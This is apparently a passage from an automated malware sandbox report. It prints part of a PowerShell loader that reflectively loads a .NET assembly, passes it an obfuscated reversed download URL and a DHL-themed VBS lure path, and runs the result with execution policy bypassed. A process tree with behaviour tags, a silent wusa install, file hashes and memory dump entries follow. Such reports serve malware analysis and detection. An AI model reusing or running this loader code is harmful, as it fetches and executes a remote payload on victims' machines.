;$REyyw += '[System.AppDomain]:' + ':CurrentDomain.Load( $RYdFr ).' ;$REyyw += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$REyyw += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''nib.smrafmaerts/segami/moc.tithgisnihtworg//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_pdf.vbs'' , ''D D1Dc:\windows\microsoft.net\framework\v4.0.30319\regasm'' ) );' ;$XvCTi = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$REyyw | Out-File -FilePath $XvCTi -force ;powershell -ExecutionPolicy Bypass -File $XvCTi ;};"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe C:\Users\Admin\AppData\Local\Temp\\Upwin.msu /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2704
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" C:\Users\Admin\AppData\Local\Temp\\Upwin.msu /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2720
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2708

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    6c3182e5c5867ec6ab82462db3d1177f

    SHA1

    393fe5c6660e8552b8643a17040141ae609eca35

    SHA256

    139c818a9645615baa2e429465ec12da2b9d56c3ff5da72a72a4c013529c7dce

    SHA512

    15fee2908d3cd324c54ea6674cd04517e39bf37b9c8a92e78de1dcfc20993a3abf608c2da0a22ab3624efc7dccd544d8fc3a52a307166f77b5c61224e3503bb8

    Download Submit

  • memory/2852-4-0x000007FEF60EE000-0x000007FEF60EF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2852-5-0x000000001B170000-0x000000001B452000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2852-6-0x0000000002360000-0x0000000002368000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2852-7-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2852-8-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2852-9-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2852-10-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2852-16-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2852-29-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2852-30-0x000007FEF60EE000-0x000007FEF60EF000-memory.dmp

    Filesize

    4KB

    Download